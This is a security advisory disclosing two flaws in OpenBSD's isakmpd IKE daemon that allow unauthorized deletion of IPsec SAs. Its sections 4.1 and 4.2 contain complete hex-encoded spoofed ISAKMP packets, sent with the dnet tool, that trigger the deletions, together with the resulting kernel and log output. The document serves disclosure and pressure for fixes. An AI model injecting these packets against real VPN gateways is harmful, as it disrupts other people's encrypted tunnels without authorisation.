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multiple payload handling flaws in isakmpd, again



0 Preface

  On 2003/11/06 a bug fix for a payload handling flaw in isakmpd
  described in http://securityfocus.com/archive/1/343173 was committed
  to CVS. Other payload handling flaws, which were not presented on a
  silver platter, but only mentioned in side notes, still remain
  unfixed.

  This posting will point out two other payload handling flaws in
  isakmpd, which can be exploited with an ease. It's meant to put
  pressure on the developers of IKE daemons to review their software,
  which might become crucial in the future.

1 Abstract

  isakmpd, OpenBSD's IKE daemon, contains some payload handling flaws,
  which allow for unauthorized deletion of IPsec SAs.

2 Description

  2.1 isakmpd's weird reaction upon receipt of INVALID-SPI notifications

    On receipt of an INVALID-SPI notification, isakmpd deletes the
    IPsec SA referred to by the SPI contained in the notification data
    and all "associated" IPsec SAs, if the ISAKMP message originates
    from the right IP address. See section 4.1, RFC 2408 section 5.5 and
    ipsec.c for further details.

    Nota Bene: This reaction upon receipt of an INVALID-SPI notification
    is complete nonsense. Please, take a look at the RFC.

  2.2 isakmpd accepting INITIAL-CONTACT nearly everywhere

    When isakmpd receives an INITIAL-CONTACT notification chained to
    other "reasonable" payload, it deletes all IPsec SAs pointing to the
    source IP address of the ISAKMP message and all "associated" IPsec
    SAs. isakmpd ignores INITIAL-CONTACT notifications sent in a
    informational exchange. See section 4.2, RFC 2407 section 4.6.3.3
    and ipsec.c for further details.

3 Affected Systems

  All versions of isakmpd are affected. Other well known free IKE
  daemons are not affected.
  
  Commercial IKE daemons might also be affected. I don't know. You want
  to provide access to commercial IKE daemons? Contact me!

4 Leveraging the Issues ..

  The following scenario is assumed. There are two VPN gateways vpn-gw-a
  and vpn-gw-b, which have established a IPsec tunnel. The attacker
  tries to trigger unauthorized deletion of IPsec SAs on vpn-gw-a

    .. ---[ vpn-gw-a ]------[ vpn-gw-b ]--- ..
        \========= IPsec tunnel =========/

  4.1 .. using INVALID-SPI

    Someone starts isakmpd on vpn-gw-a:

      vpn-gw-a# isakmpd -d -DA=30
      
    vpn-gw-a and vpn-gw-b establish a IPsec tunnel using IKE. The IKE
    daemons install appropriate IPsec SAs (and policies):
    
      vpn-gw-a# cat /kern/ipsec | grep SPI 
      SPI = 53fc575b, Destination = <vpn-gw-b's IP address>, Sproto = 50
      SPI = 01627f3c, Destination = <vpn-gw-a's IP address>, Sproto = 50

    The attacker does some network sniffing to learn the SPI of IPsec SA
    pointing to vpn-gw-b (that's quite easy, because it's contained in
    the AH/ESP header) and injects his "deadly" packet:

      attacker# dnet hex \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x0b\x10\x05\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x2c" \
      >     "\x00\x00\x00\x10" \
      >     "\x00\x00\x00\x01" \
      >     "\x03\x00\x00\x0b" \
      >     "\x53\xfc\x57\x5b" |
      pipe> dnet udp sport 500 dport 500 |
      pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
      pipe pipe pipe> dnet send

    Note: The example ISAKMP message is complete crap, but it seems to
    be good enough for isakmpd :-/.

    isakmpd automagically deletes the IPsec SAs ..:

      vpn-gw-a# # cat /kern/ipsec 
      Hashmask: 31, policy entries: 0

    .. and informs you about it:

      075542.992984 Exch 10 ipsec_responder: got NOTIFY of type INVALID_SPI
      075543.000662 SA   30 ipsec_delete_spi_list: INVALID_SPI made us delete SA 0x1b1600 (3 references) for proto 0

  4.2 .. using INITIAL-CONTACT 

    This attack is much easier. Really.

    Again an IPsec tunnel is established:
   
      vpn-gw-a# cat /kern/ipsec | grep SPI 
      SPI = 1d4f3865, Destination = <vpn-gw-a's IP address>, Sproto = 50
      SPI = f7b3944c, Destination = <vpn-gw-b's IP address>, Sproto = 50

    The attacker injects an ISAKMP message pretending to initiate a Main
    Mode exchange between vpn-gw-b and vpn-gw-a with an INITIAL-CONTACT
    notification chained to it:

      attacker# dnet hex \
      >   "\x17\x17\x17\x17" \
      >   "\x17\x17\x17\x17" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x01\x10\x02\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x54" \
      >     "\x0b\x00\x00\x2c" \
      >     "\x00\x00\x00\x01" \
      >     "\x00\x00\x00\x01" \
      >        "\x00\x00\x00\x20" \
      >        "\x01\x01\x00\x01" \
      >          "\x00\x00\x00\x18" \
      >          "\x01\x01\x00\x00" \
      >          "\x80\x01\x00\x05" \
      >          "\x80\x02\x00\x02" \
      >          "\x80\x03\x00\x03" \
      >          "\x80\x04\x00\x02" \
      >     "\x00\x00\x00\x0c" \
      >     "\x00\x00\x00\x01" \
      >     "\x01\x00\x60\x02" |
      pipe> dnet udp sport 500 dport 500 |
      pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
      pipe pipe pipe> dnet send

    If the isakmpd finds a acceptable proposal in message injected by
    the attacker, it tries to advance the exchange and deletes all IPsec
    SAs pointing to vpn-gw-b and all "associated" IPsec SAs ..:
 
      vpn-gw-a# cat /kern/ipsec            
      Hashmask: 31, policy entries: 0

    .. and does some logging:

      081412.393202 SA   30 ipsec_handle_leftover_payload: INITIAL-CONTACT made us delete SA 0x1b1600
      081412.399786 SA   30 ipsec_handle_leftover_payload: INITIAL-CONTACT made us delete SA 0x1b1200

    Nota Bene: You can include a large proposal payload with all
    possible transforms, so isakmpd will find one acceptable.

5 Bug fixes

  There are no bug fixes.

Thomas Walpuski